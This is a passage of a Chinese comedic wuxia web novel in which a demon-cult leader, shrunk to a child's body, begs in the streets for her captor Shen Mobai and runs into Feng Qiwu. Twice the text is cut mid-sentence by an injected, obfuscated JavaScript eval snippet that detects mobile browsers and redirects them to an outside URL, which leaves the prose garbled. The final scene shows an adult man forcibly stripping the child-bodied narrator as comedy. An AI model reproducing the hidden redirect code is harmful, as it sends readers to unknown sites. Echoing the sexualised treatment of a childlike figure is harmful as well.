咬住他的时候,我和他的脸基本贴在了一起,我的睫毛甚至扫到了他的。 下一秒沈墨白触电一样把我甩开。 “沈、沈墨白!你、你勾引我!”我被他甩得差点从马上掉下去,坐稳了就恶人先告状,嘶声力竭大叫。 沈墨白一只手捂着鼻子,手指上放的双眼恶狠狠盯着我,“勾引?” 我惊恐万状盯着他,“你你,你快点把我卖了吧!卖给峨眉卖给少林!随便你卖给谁!我受不了你了!” 沈墨白这下是真被咬得不轻,看他眼角都微微泛红,“卖你是早晚的事,但是现在还没确凿的证据证明你的的身份。况且,现在镜花宫情况不明了,我得等待时机,才能在最适合的时候开出最高的价。” “你个奸……”我“商”还没说出来,脑袋上扎着的包包头就被沈墨白一把揪住,左扯右拉使劲蹂躏,蹂躏得我又一阵大呼小叫。 “我让你咬我!死小鬼!”沈墨白一边把我的脑袋当面团一样揉圆搓扁,一边恶狠狠道。 7. 一切向钱看,向厚赚 临近锦官城的时候,沈墨白那悲催的穷光蛋,把那匹从镜花宫顺来的马卖给了城边的驿站。进了城,沈墨白这人渣直奔绣坊,把我系脖子的金铃铛给拿去卖了。更人渣的是,卖了我的铃铛之后,他便顺势个自己买了件非常没品味的新衣服——一席月白的书生长衫,老板娘见他俊俏,还配送书生帽一顶。 不过,这厮虽是书生的打扮,身上却很难感觉出斯文儒弱,倒是一身很非善类的邪恶气息,整个一斯文败类。 换了身干净的衣服,这家伙的养眼度也一下提高了几个档次,惹得老板娘和绣娘小妞们频频向他暗送秋波。 我被晾在一边,冷眼看他那厢被莺莺燕燕团团围住,偷偷摸绣坊桌子上的花生米吃。 吃光了半碟之后,我慢吞吞开腔:“爹……你流连花街柳巷妓院赌场败光了家产,现在,你把娘留给我的唯一一件首饰也卖了,死去的娘若是泉下有知,会怨恨你的……” 我话音一落,现场气氛顿时一僵,女人们一瞬间一哄而散,倾慕的眼神也变成了看人渣流氓一般的鄙视。 谁料沈墨白那家伙顺水推舟,露出了一个颇为无赖的神色,啧啧两声,“乖女儿,跟着爹爹可没好日子过,我找个妓院把你卖了可好?” 我顿时鼻涕两行,“好啊好啊!快点把我卖了吧!” 沈墨白悠然自得扬了扬嘴角,吐出两个字,“休想。” 我怒,脱口而出,“你这悲催的穷光蛋!跟着你还不如去卖身!” 这厢,绣坊的姐姐妹妹大姨妈们,已经一脸价值观被颠覆的惨样,煞白了脸,无语凝噎。 中午时分,在大街上溜达了几圈之后,沈墨白把我放在了一个矮墙头下面。 “你要干嘛?” 我乖乖坐着,好奇的眼瞅着沈墨白从草地里扒拉出一段草绳来,用力拽了拽,估量它的结实程度。 沈墨白不说话,只是挂着一脸大尾巴狼的笑容看着我。 我沉着脸,低声念叨,“沈墨白你终于穷得开始捡垃圾了么?” 沈墨白仍旧不语,把草绳的一端栓在我脖子上的乌金项圈上,另一端拴在附近一块大石头上。 最后,他大功告成似地拍了拍手,放了一个缺了一角的破碗在我面前,和蔼可亲说道,“爹有事去办,小白你乖乖在这里等爹爹。回头爹爹给你肉吃。” “……”我仰着一张茫然无知的呆脸看他,张了张嘴,最后啥也没说出来。 沈墨白犹自贼笑着,拍拍我的脑袋,双手负在背后,屁颠屁颠走了。 我看了看自己一身脏兮兮的破衣服,一双带着狰狞伤疤的露在外头的脚丫,一只破碗…… 心中暗暗怨念: 沈墨白你这个拐卖幼童强迫要饭的社会渣滓!怪不得我都残成这样了你也不给我找个大夫!原来是想利用肢残这个特点来坑钱!我不就是咬了你的鼻子吗!你竟然这样报复我!人渣! 我犹自默默怨念着,忽听“铛”得一声,一只铜板掉在我面前的破碗里,滑了两个圈,最后在碗底落定。 我抬头,看到一个挎着菜篮子的大妈。 我愣了三秒。 摆在我眼前有两个选项。 1、一巴掌抽飞那个破碗 2、一脚踢飞那个大妈 最后,我深吸了一口气,抬起头来。 弱弱地眨眼睛,怯怯小声说,“谢、谢谢,好人有好报……” 顿时,“铛铛铛”,碗里又多了好几枚铜钱。我低头看着碗里的反射着阳光而金光闪闪的铜钱,突然产生了一种很畸形的成就感。这貌似是我这辈子赚到的第一分钱啊…… 自从当了魔教的教主之后,我再也觉得女人的脸和身材一点用都没有。 大家完全看不到我的身材到底是个鸵鸟蛋还是个大S,完全看不到我是长着满脸麻子的大饼脸还是倾国倾城、迷倒众生、妖颜惑众。他们能看到的,只有我脑袋上面顶着的闪闪发光的大字——魔教教主,杀人狂,女流氓。 本教主根本不需要靠脸面和身材来吸引男人。只要是我多看上几眼的,机灵的属下自然懂的该怎么做。那些我看上的男人,要么上了我的床,要么烂死在了牢房。不过风水轮流转,本座虎落平阳,忽然发觉,脸什么的,果然是可以用来混饭吃的。 比如说现在,我可怜兮兮坐在墙角,脸上抹了三道灰,展示着我残疾的双手双脚。每当有路人经过,我就抬起那双水灵灵的大眼睛用一种苦大仇深的目光向他们行注目礼。就这样过了大概一个时辰,我脚边上的缺了口的破碗里,零碎的铜钱已经几乎堆满了一碗。 而相对的,在我对面五米之外,同样是一个蓬头垢面鼻涕邋遢的小乞丐,过了大半天了,一个给他钱的人也没有。 初夏的阳光暖洋洋落在我身上,我稍微换了个姿势让自己坐得更舒服一点。 对面的小乞丐一直用黄鼠狼一样的小眼睛,贼兮兮盯着我面前的破碗。用俩小绿豆眼睛控诉着我抢了他的生意。 他盯了许久,终于蠢蠢欲动了。 我平生最恨的,就是别人从我碗里抢饭。你求我,我会给你,但是你若是来抢,我必然剁了你的爪子。 我于是把后背靠在背后的土坯墙上,然后抬起手露出手腕,扬高了点声音说,“喂,小子。你看到了吗?我的手脚。” 小乞丐似乎没想到我会对他讲话,吓了一跳往后缩了缩。 我说着,还晃了晃软趴趴的手腕,“看到没?都是残废的。我这辈子都不能拿东西不能走路,只能在地上爬。” 我用软绵绵的手指向旁边,“看到刚才扔下我的那个男人了吗?他才不是我爹,我是被他绑架走的,我的手脚就是被他给弄残的。因为残废的显得比较可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349843|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜,比较容易赚到钱。如果你想来抢钱,我劝你还是算了吧。他就藏在附近,他可凶了!特别抠门!还会武功!你要是被他抓到,小心也被他把手和脚都给砍了。” 小乞丐一听果然神色警惕地看向四周。 “人啊,在羡慕别人有鞋穿的时候,却都不曾想想,有些人连脚都没有。” 我叹了口气,闭目养神,也不再去管对面那只小老鼠了。 中午的时候,沈墨白把我面前的碗拿走了。他回来的时候,把一只空碗放在我面前,然后塞了一个烧饼在我嘴里。 我咬了一口,葱油的,连个鸡蛋都没有! 我用软绵绵的手捧着烧饼,恶狠狠得啃,“肉呢?!” 沈墨白一边啃着手里的肘子,一边很奇怪地看着我,“什么肉?” 我顿时产生强烈的想扑过去咬死他的冲动。 午后时分,沈墨白那个人渣躺在不远处树荫底下的大石头上睡午觉,我继续在矮墙根底下晒太阳。 我看了看天,看了看面前的碗,看了看树底下的沈墨白。然后,我试着动了动手,手指有点僵硬,但活动却没问题。于是我小心翼翼去解系在大石头上的绳子。 其实这些天我的伤势慢慢在恢复,深可见骨的伤痕慢慢愈合,现在变成了一道狰狞的疤痕。匪夷所思的是,这些天,沈墨白除了每日用他那把破笛子搅合清水给我洗伤口之外,并没有给我用任何药,甚至都没有包扎,这才十几日,致人残废的伤在我身上竟然逐渐康复了,我的手指甚至可以简单地动作。 难道说由于“刹那芳华”的副作用我的恢复力变得超出常人了? 几分钟之后,绳子轻飘飘落地,我低着头,脸埋在阴影里,扯起嘴角,慢慢地笑了。 傍晚时分,夕阳西斜。乌鸦“呱呱”叫着回巢。 沈墨白一直从中午睡到傍晚,睡了个饱,终于悠悠然转醒了。 他大大咧咧伸了个懒腰,挠挠头发,揉揉被铬酸了的腰,打着呵欠坐起来。 结果,还没睁开眼就听到周边一片惊声尖叫。 “啊!诈尸啊!” 沈墨白有点摸不着头脑,他揉了揉有点僵硬的脖子,低头,忽然发现自己身上盖着半片破草席。沈兄半梦不醒的脸上露出茫然的神色。 “呦,醒了啊?看来今天是要不下去了,该收工了。” 沈墨白听到那个女孩儿用甜甜的嗓音痞里痞气说道。 他仍旧不怎么清醒,于是揉揉眉心,心想,幻觉,一定是幻觉。 “爹,快点带我去吃肉。” 沈墨白终于接受现实,这不是一个狗血的梦。 他低头,看到小小嫩嫩的女孩,规规矩矩跪坐在自己睡觉的大石板旁边。她和他的身边,散落着一堆零碎钱。 而她面前,写着很难看的几个大字:卖身葬父! 8. 梧桐还需凤凰栖 今天,又是春意阑珊,阳光明你个妹的好天气。 本座今日照例混杂在一堆丐帮弟子中间,厚颜无耻而悠然自得在街上讨饭。我缩在一小巷口边儿上,背后是铺满青苔的青石墙,对面是一家门面堂皇富丽的茶楼。前后一对比,越发衬托得我孤苦无依楚楚可怜。 此茶楼名曰添青阁,是锦官城中最具盛名。这茶楼里头有个叫青衣客的茶博士,人称包打听,专门搜集各种江湖消息,以一张三寸不烂之舌嚼尽天下武林八卦。锦官城本就是江湖人士聚集之地,因此这添青阁格外受武林中人的青睐,乃是探听情报打听八卦的必去之所。 此时,万恶的沈墨白就坐在茶楼二层靠栏杆处,时而悠闲品着香茗听着茶博士讲段子,时而对我露出一个小人得志的腹黑笑容。 我两腿盘成莲花座,一脸怨气得用目光勾引过路大叔大妈,一边挠脚心…… 手脚上的伤最近恢复很快,相对的,伤口又痒又痛,为了转移注意力,我最近养成了挠脚心解闷的坏习惯。 突然,碗里“咣当”一声,一锭金光闪闪的大额元宝落在了我碗里。 我被吓了一跳,娘啊,如此大额的银子我都个把月没见过了。 一抬头,看到一个黑衣美少年。美少年不过十四五的年纪,一头长发利落在脑后束成马尾,腰间带着一柄乌黑的古剑。他装扮朴素,但却隐隐透着一股冷傲的气质,看这样子,像是哪个世家的小公子。 他垂眸看着我,眼神怪异。 他张了张嘴,又闭上,欲言又止,数次之后,我还以为他这是意欲打喷嚏而不能,结果小公子终于忍不住道,“姑娘家就该有姑娘家的样子……” 我呆愣愣看着他,完全搞不清这是个什么状况。 接着小美男皱着眉头说,“麻烦你……别再抠脚了……” 说完,小美男带着嫌恶的表情,拍拍屁股走了。 我看着他的背影眨了眨眼睛。这美少年刚才说的是什么意思?莫非……挠脚心可以赚到大额银子? 于是,本座十指翻飞,挠得更欢快了。 事实证明,挠脚心这招果真好用,不出半个时辰,又是“咣当”一声。这次,这金灿灿的元宝大得直接砸翻了我的碗。 我懒洋洋张开眼睛,看到面前挺着一双绣工精致且一尘不染的龙纹锦靴。 “小妹妹,我看你,面善的很。” 随着“哗”得华丽丽开扇声,一个带着几分轻佻,听着几分熟悉的声音响起来。 我做头疼状揉了揉额角,低头回答,“不巧啊公子,我倒是第一次见到您这样的帅哥。” 我之所以头疼,是因为我的确眼前这二世子面善,确切的说,我跟这厮认识了不下十年了。这家伙,就是镇南王府的小世子,凤栖梧。当世正处乱世,各个藩王割据。镇南王盘踞中原西南方,领地跨巴蜀滇,其他藩王莫能与之争。地盘一大,实力一强,老家伙免不了就做起了“先一统江湖再坐拥天下”的春秋美梦。虽然镇南王表面上是一番不涉江湖的超然做派,背地里却整天挑唆各大门派打架斗殴,典型唯恐天下不乱。 而这个小世子,绝对是镇南王十几个崽子里最能折腾的一个。 凤栖梧人称“踏雪无痕鸣凤公子”。青衣客曾赋诗巴结之,曰“游鳞戏沧浪,鸣凤栖梧桐。并负垂天翼,俱乘破浪风。眈眈天府间,偃仰谁敢同。”一首诗把凤栖梧碰上了天,其在江湖中的地位可见一斑。 凤栖梧师从江湖中神龙见首不见尾的“绝尘女”,学了一身踏雪无痕的轻功独步武林。此人的辨识标志是一双妖媚勾人的桃花眼,外加一把看似轻浮实则杀伤力极强的乌竹骨扇。不得不承认,这扇子,跟他本人的个性作风实在是相配的很。 事实上,“绝尘女”是当年我师傅执掌镜花宫时的长老之一。算起来,我跟这个凤栖梧也算是师出同门。他入门那年七岁,我十三岁,那时候,本座已经在江湖上臭名昭著。 他十四岁时,轻功颇有小成。我曾经被他师傅绝尘女撩拨,跟凤栖梧打赌比轻功,比谁能先掏到鹤鸣峰顶雕窝里的蛋。若是我赢了,他就得从了我,输了,我就得答应他一个条件。结果,我非常丢人得当着镜花宫几百口子的面,被这毛都没长齐的死小子给赢了半柱香……当时我暗暗盘算,老娘我睚眦必报,你赢了我,我一定会废了你武功,砍了你双脚,然后卖到窑子去! 但可恶的是,凤栖梧这臭小子竟然把老娘的脾气摸了个透,当即当着镜花宫上上下下的面,开出的条件竟然是,这辈子都不许伤害他。 当时,我师傅冷将息淡定得笑了,他师傅绝尘女腹黑的笑了。我默默怒了。 从此以后,这个贱男人隔三差五就撩拨老娘,惹得我数次想毙他于掌下。我这人,虽是无恶不作,却坚持言而有信,每次杀招呼之欲出我得再吸回去,生生憋得内伤。 凤栖梧轻笑了一声,“那小妹妹我再问你,你脖子上这‘乌龙咬尾牵心锁’是谁给你带上的?” “什么乌龙?大爷我不明白你在说什么。”我抬起头,露出白白的牙齿弯眉一笑,笑得童叟无欺。 顺便飞快地一把抓住大金锭子塞进衣服里,生怕他再给抢回去。 凤栖梧看到我的脸,表情一下空白了一秒。 我嘴角的笑容抽了抽。 喂,我现在这蓬头垢面的萝莉样都能给你认出来这也未免太不科学了吧?! 我这厢正满脑袋冒冷汗,忽然凤栖梧猛的一回头,目光直直投向了沈墨白的方向。这也难怪,谁叫从刚才开始,沈人渣的目光就囧囧的射过来,目光里带着强劲杀气,差点没在凤栖梧后脑勺烧出俩窟窿。 我歪了歪身子,探头,视线绕过凤栖梧,看到沈墨白正懒洋洋斜靠在二楼栏杆边俯视着这边。人渣唇角带笑,微微扬着下巴,居高临下,不可一世。啧,这气场,连鼻孔里面都隐隐喷着霸气! 我看两个人目光在空中纠结来纠结去噼里啪啦撞出很多小火星。 本座还以为二位公子要掐起来,满怀期待等了半天,然而俩人大眼瞪小眼半晌都没动。 于是本座无聊得继续挠脚心。 终于,就在我以为这俩孙子都冻住了的时候,凤栖梧收起了目光,回头俯身对我笑眯眯得说,“小妹妹,我带你去吃点心好不好?” 我盯着他的脸,愣了一会儿然后不由自主叹了口气。哎,其实自从凤栖梧还是个嫩正太的时候我就在觊觎他了。两道剑眉配上一双桃花眼,犀利得那么妖媚的家伙,世上只此一人了。 怎么就不肯从了我呢……我是对他做了什么让他很讨厌我吗? 凤栖梧看我叹气的神情,微微蹙起眉头,带着几分揣测道,“你……” “漂亮哥哥,”我赶紧表情一变,挤吧挤吧眼睛,泫然欲泣,鼻涕眼泪呼之欲出,“我是很想吃点心,但是爹爹不许我吃。爹爹说要乖乖在这里要饭,要了钱给他逛窑子用。” 凤栖梧疑惑地看了我一眼,随后有点自嘲得笑了一声。他对我伸出一只手,“来,哥哥带你去找爹爹。 这说辞倒是很像拐带幼童的大骗子。 我看着放在面前那双羊脂白玉色的手,看看他那张帅到耀眼的脸,羞红了脸,扭扭捏捏道,“哥……人家没有脚……” “……”凤栖梧嘴角抽搐了一下。 片刻,我听到他吸了口气,憋住,然后才心不甘情不愿得把我抱起来。 嗯,话说我这身衣服真的自从穿了就没洗过没换过,破破烂烂,面目全非。也难怪凤栖梧嫌弃我。 我被嫌弃了却笑得腹黑,凤栖梧一抱起我,我就整个人粘到他身上,还用抠脚抠了一上午的手指头,一把抱住他的脖子又是摸又是蹭。顿时,感觉到手底下的皮肤一阵轻微的战栗,鸡皮疙瘩此起彼伏。 本座顿时有种通体舒畅的感觉。 凤栖梧抱着我走进茶楼,小二都是眼明心亮的家伙,一看是“鸣凤公子”赶紧忙不迭迎上来,“爷,还是照例给您找个清静的雅间?” 凤栖梧抬手示意不用,弯眉一笑如三月春风拂面,“我约了朋友。” 小二立刻知趣得让开,等凤栖梧转身上楼了,才探头探脑开始拉着掌柜对挂在他肩膀上的我指指点点。 拉风的帅哥一上到二层,整个茶楼的目光都被吸引了过来。我趴在凤栖梧肩膀上欢乐得接收诸位大叔大妈投来的忸怩爱慕光线。 凤栖梧径自穿过众人探寻的目光,走到最角落靠窗的位子边。 “这位兄台,不置可否赏脸一起小酌一杯?”斯公子温润如玉,语气谦和,气度和做派都使人为之折腰。 这厢,我看到几个大娘脸红了。我大概也能明白,为什么凤栖梧这家伙明明骨子里是个腹黑的坏蛋,在江湖上却能骗到一片交口赞誉——谁叫人家周身环绕着一圈名为“芝兰玉树,温润如玉,数风流舍我其谁”的气场。 沈墨白抬起眼皮,目光却非常诡异地落在了凤栖梧托着我屁股的手上。 然后,这个傲慢的混蛋只说了一个字。 “坐。” 凤栖梧倒是挺配合,把我放在旁边的凳子上,然后落座。 “阁下……”凤栖梧刚开口,结果就看到对面的沈墨白抬起一只手,伸到我面前。于是凤公子疑惑地僵在半空。 我倒是一下子就领略了这混蛋的意思,我恶狠狠瞪着他,虎牙都呲了出来。 “给我。”沈墨白眼角蔑视我,勾了勾手指头。 我死死攥着衣襟,摆出一副宁死不屈的架势。 沈墨白见状邪恶一笑,“不然以后我天天给你扎辫子。” 我顿时回忆起当年眼睛被扯成一条线的苦逼境遇,浑身一阵恶寒。 “沈墨白,你个人渣!”我恶狠狠骂了一句,愤恨得把刚才藏起来的金锭子掏出来,狠狠向他脸上丢过去。 沈墨白轻巧接住我扔过去的大元宝,在掌心掂了掂,腹黑一笑,把金子塞进了自己的袖口。 这厢,凤栖梧被无视得很彻底。整层酒楼的人,都默默把同情的目光投向这位颇有名头地位的镇南王小世子。 我很受伤,于是想起了干坐在一边的凤栖梧,于是瞪着两只溢满了泪水的大眼睛,转向凤栖梧找安慰,“漂亮哥哥,你不是说要请我吃点心吗? 凤栖梧干笑了两声,极力维持涵养:“……好……” 悲催的凤栖梧,悲催的冤大头。 片刻之后,面对着桌子上堆成小山的点心,我又没有节操得破涕为笑了。 然而,就在我的爪子距离晶莹剔透的大汤圆还有还有一毫米的时候,沈墨白那个天杀的一把抓住了我的手! “你又干嘛!”我凌厉一记眼刀丢过去,恨不得一眼在沈墨白脑门上戳俩窟窿。 而沈墨白那厮又哪里是吃素的? 他不由分说一把把我拎起来,固然我拼命挣扎,然而我这个没几斤几两的小身板小力气,像只猫一样,被沈墨白一只手就给镇压了,只能趴在他膝盖上乱扑腾。 “你今天挠了一早上的脚了吧!洗手了没有!就知道吃!” 沈后爹一边恶狠狠在我耳边咬牙切齿,一边招呼小二拿来一条蒸的热乎乎的湿毛巾给我擦手。这厮还真当自己是我爹啊! “我,我反正脚不沾地,手挠脚和手挠手也没什么区别!”我这厢恼羞成怒,梗着脖子争辩。 “啧,”沈墨白嫌弃得瞥了我一眼,食指“当”得一下弹在我脑门上,“手都跟蹄子一样了,还说不脏。” 我憋屈。憋了半天,只能重重哼了一声,脸一扭,任由这事儿爹折腾。 对面凤栖梧端端正正坐着,一脸若有所思看着我和沈墨白。 我看了看给我饭吃的凤栖梧,又看了看抢我银子不让我吃饭的沈墨白,突然觉得,那个曾经如此面目可憎烦人闹心的凤栖梧,现在俨然就是个头上顶着光环的送!子!观!音! “这位兄台,您真的是这孩子的父亲么?” 沈墨白手臂一抱,轻佻得挑眉,“是又怎样?” 沈墨白一放手,我就“嗷”得一声兽化了扑向餐桌。 “这世上当真有如此禽兽不如的亲爹,会忍心让这样受伤的孩子,流落街头做乞丐?”凤栖梧轻笑,“唰”得一声展开扇子,其中潜台词为:再敢不搭理爷,爷就要敲碎你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349844|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头盖骨,颇有几分示威的意味。 然,沈大爷继续笑而不语装深沉。 我满嘴塞满了芙蓉糕,听到这里忍不住拍案而起,义愤填膺一边帮腔一边喷点心渣,“就是!禽兽!” 语落,还不忘讨好得转头对凤栖梧奉上马屁一笑,“漂亮哥哥你比禽兽强多了。” 沈墨白皮笑肉不笑地看着我,阴测测得扬嘴角,“行啊,既然我那么禽兽,你跟他走啊。” 我握拳,“我巴不得……” 沈墨白闻言慈爱得拽了拽我脖子上扣着的乌金锁笑道,“看看等你头掉了,这漂亮哥哥能不能再给你拧上。” 本座一听顿时蔫儿了,只能低头认错,“爹……我错了……” 凤栖梧的目光落在我子的锁上,“如果我没认错,这把乌金锁江湖仅有三件,不知可否冒昧问一句,兄台您尊姓大名,是怎么得来这把锁的?” 沈墨白没立即回答,像是故意急凤栖梧似地,慢悠悠给自己斟了杯茶,碧绿的茶水跌入白瓷杯,碗底漾起朵朵青叶。 “锁嘛……本来,就是我的。名字嘛,懒得告诉你。” 纵使芝兰玉树的凤栖梧假装涵养绝佳,被这一泼皮无赖沈墨白一再刺激终于也不玉树了,他略带怒意笑道,“好,既然阁下不愿显露身份我也不多问。那你能不能解释一下,为什么这孩子跟白玉蛟长得如此相似?” “……”我一口白玉糕噎在喉咙里,差点没呛死。 刹那间,整个茶馆鸦雀无声。无数道炙热而八卦的视线“嗖嗖嗖”从四面八方向我射来。所有人都瞬间挺直腰板,竖起耳朵,凝神静听这边的动静。 沈墨白对此架势,仍旧是一副二五八万的轻浮样,他微微蹙眉,指尖敲了敲桌面,好笑道,“我说过了,这是我女儿,凤栖梧,你没听明白么?” 凤栖梧“唰”得一声,折扇猛地又一阖,响扇声在一片寂静中震得人心底微颤。凤栖梧一挑眉,笑容中出现一抹讥讽,“哦?那你这话的意思,莫非是你和白玉蛟……” 本座顿时又有内伤的感觉。这个潜台词……完了,明天白玉蛟和神秘男子有一秘密“小蛟女”的消息肯定要在江湖上传开了。 我的名节…… 它好像从来就没存在过。 至此,我有点扛不住了,咳嗽了一声。 “凤公子,你这样随意揣测,他日,若我和他不明不白被当做魔教贼人被人砍了横尸街头,这笔命案是不是该算在你头上?饭可以乱吃,可,话最好别乱说。” 此话一落,气氛一滞。 凤栖梧盯着我的眼神再一次变得很诡异。 沈墨白微微摇了摇头,嘴角那抹万恶的邪笑都更明显了。 “呃,我是说……” 我晕,对着凤栖梧那张熟悉脸我就老是惯性摆出教主的架子! 我对手指,忽然对眼前的尴尬有点应付不能。 最后,是沈墨白打破了沉默。 他把手里的杯子一撂,轻轻一笑,起身对凤栖梧一个恭敬的下拜,“在下乃贵阳沈家堡沈氏后人,沈墨白。因为身负家仇因此不便宣扬身世,方才多有冒犯,还请凤公子海涵。今日有幸得见‘鸣凤公子’,瞻仰公子风采,实属沈某三生有幸。” 凤栖梧一听沈氏,顿时露出了点讶异的神色。沈老爷子生前结交广泛,沈家命案当年在江湖上传得沸沸扬扬人尽皆知。此语一出,四周好奇审视的目光顿时从我身上转移到了沈墨白身上。 沈氏绝迹了十几年,怎么突然冒出来了个遗后? 凤栖梧明知他是故意岔开话题,碍于礼节还是回礼道,“阁下竟是沈氏后人?失敬失敬。” 江湖人就这点烦人,客套来客套去来来回回那几句废话。我趁着沈墨白拖着凤栖梧废话家常,整个人已经爬上了桌,手脚并用一边往嘴里扒拉点心,一边往袖口衣襟里塞,打包回去继续吃…… 与此同时,这“添青阁”的当家名嘴“青衣客”终于姗姗来迟。有八卦的地方,怎么能少了他青衣客?青衣客一出现,众人的注意力果然都聚集到了他的身上,而青衣客的那张巧舌如簧的嘴巴也果然没让诸位听众失望,一坐定,一张嘴,就是猛力的爆料,“今日咱们这小地方还真是热闹,不仅鸣凤公子大驾光临,还竟能碰上沈家的后人……”青衣客一脸职业性微笑,遥遥对着我们这桌遥遥拱了拱手,“方才,小人听到有几位大人正提到白玉蛟,说起白玉蛟……近日里,在下倒是听说了些关于她的小道消息。” 此话一出,满茶楼的人刹那间又精神抖擞竖起了耳朵准备接收情报。 “大概二十多天前,江湖上突然有隐秘传言,说是那白玉蛟闭关修炼‘刹那芳华’第九重却练出了岔子。这消息不知出处,但消息传到镜花宫内就引起了骚动,十日之前,镜花宫几大长老一同前往白玉蛟闭关的无思崖,妄图一探究竟,却被在无思崖护法的顾染织拦下。顾染织虽然只是一介男宠,但在镜花宫内位高权重,双方僵持不下,就闹出了事端,听说都已经兵刃相见。不过呢,虽然镜花宫的长老气势汹汹,但是嘛,毕竟白玉蛟走火入魔的消息仅仅是空穴来风,无凭无据,长老们也不敢轻举妄动。再说那白玉蛟性情暴戾,若是打扰了她闭关清修,破坏了她魔功大成,那几大长老也吃不了兜着走。于是几大长老无功而返……” 青衣客话音一落,整个茶馆都炸开了锅一般的热闹。 所有人的话题一下都集中到了白玉蛟、镜花宫上、魔教内乱上,群情激奋好不热闹。 凤栖梧收了折扇,微微皱眉。沈墨白却是手捧白瓷小杯,浅浅抿他的茶,目光闲闲落在窗外,似乎对着消息丝毫不感兴趣。 而我这厢,飞快吃点心,心里也盘算得飞快。照理说,按照顾染织的手腕儿,我出事的风声不该走漏得那么快,而且,为什么我闭关出问题的消息是从江湖传回镜花宫? 我抬眼,眼角飞快瞥向沈墨白。这人渣,恐怕是唯一的变数了。 按照青衣客所说,消息开始走漏是二十多天前,那正是我碰上沈墨白的时候。 莫非是他把消息传了出去,生事造谣,意图动摇镜花宫根基? 9. 大叔都是萝莉的天敌 托凤栖梧那定大元宝的福,我和沈墨白风餐露宿在穷凑合数日之后,总算住进了像样的大客栈。而沈墨白那个悲催的穷光蛋,竟然抽风似地给我买了件新衣服。 大客栈的上房不愧它二两银子一夜的价格,陈设一应俱全,还配备一个独立的小浴室,小二的服务也格外周到。沈墨白一进房间第一件事,就是吩咐小二备一桶沐浴的水来。 我一听,立马打了个呵欠,眼角瞄那个看起来很舒服的大床,“你要洗澡啊?那我先睡了。”沈墨白却轻轻笑了一声,然后一只手提着我的后领把我从他肩膀上摘下来。 “不只是我洗。”沈墨白慢慢的,暧昧道,顺便还眨了眨眼睛朝我放电。 我被他拎着,悬挂在空中打了个寒颤。本座不爽,一扬眉,“那怎么着?还要我们俩洗鸳鸯浴啊?” “正是。”死不要脸的人渣竟然慢慢点了点头。 下一秒,我微微扬起的眉毛,彻底震惊得飞了起来,“什么?!” 沈墨白露出两颗白花花的獠牙,笑得更加开心。 我盯着沈墨白那张近在咫尺的脸,语气和脸色一样阴沉,压低嗓音一字一句道,“混蛋,我死也不要……” 说起沈墨白的脸,在这里还要仔细解说一番。 行走江湖的,大部分都是胳膊比腿粗的壮汉以及腰比水桶粗的婆娘。因为唯有这样的体型才血厚,耐砍,舞得动大刀,耍的起狼牙棒。在江湖中以相貌上乘而出名的,来来去去,其实也不过那么几个人。其中翘楚要数千宜阁的苏小小。江南流传着各种诗句,赞她美貌,例如“眉欺杨柳叶,裙妒石榴花。杭州苏小小,人道最夭斜”。自这位祸水出道以来,已经连续四年排在追求率的榜首。而风头紧随其后的,恐怕就要数凤栖梧了。凤栖梧的美,是英气中透着一丝媚,就仿佛一树玉兰,清净气质之中又有世家的典雅。 这位鸣凤公子年纪轻,家世好,武功高,人品据说不错,而且又单身,因此在江湖诸位思春师妹师奶中具有相当的人气。有谣言,峨嵋派下一任掌门内定人选“芙蓉观音”杜青娥都对他一见钟情,暗中拜托她师傅牵线搭桥。 其实我觉得这个排名绝对有失公允,话说我帐内美男无数,单单一个顾染织都比凤栖梧更显得卓然清高不染风尘。这些搞排名的人,显然在搞职业歧视。难道魔教的妖美男就不是美男了吗?! 话归正题,若是拿沈墨白跟凤栖梧作比,纵使凤栖梧是个有权有势的太子党,两人一对垒,气势上却不知为毛比沈墨白平白无故矮下去一大截。较之沈墨白,凤栖梧始终只能算是一颗花树,纵使挺拔,却也只能扎根于尘俗。而沈墨白如同雪中鹤,乍一看之下淹没在一片背景色里,但若他突然振翅而飞,那种孤高、力量和清傲卓绝,是一种让人感到眼花缭乱,感到折服和震撼的美丽。 只可惜,这人平时都是吊儿郎当地痞流氓的样子,这种美,我从头到尾只初见过一次——便是他拔剑的一刻。 现在这么近距离盯着沈墨白的脸,我丝毫没觉得哪里美,只觉得,下流!邪恶!猥琐! 这厢,热腾腾的洗澡水已经被运送到了房间内。 小二一把门阖上,沈墨白那个禽兽竟然一下把我按到在桌子上。 我被他以话本小说里最常见的奸情动作给仰面压倒在桌子上,他两只修长有力的胳膊撑在我脸侧。 本座顿时歇菜了,四肢僵硬动弹不能——这到底是什么情况?! 沈墨白嘴角浮现了一抹奸笑,趁我愣神之机,他一只手制服我的双手,另一手灵巧地开始剥我身上的衣服。 我被吓得一个激灵,破音得尖叫了一声,抵死反抗。然而悲催的是,我手腕的伤刚见起色,丝毫使不上力气,只能身体扭来扭去躲闪,两脚乱扑腾,挣扎得不得要领。 “沈墨白!你你你你饥不择食也要分清年龄吧!!”我嘶声裂肺尖叫。 沈墨白嘴角带笑,手上扒得更加利落了。 老天啊!难道这就是老娘我□□无数良家美男的报应?! “放开我!!猥亵幼女啊!!!!!救命啊!!!!” “人渣!你给我去死吧!” “姓沈的!你放手!” “我让你放手你听到没有!” “沈墨白!” “……” 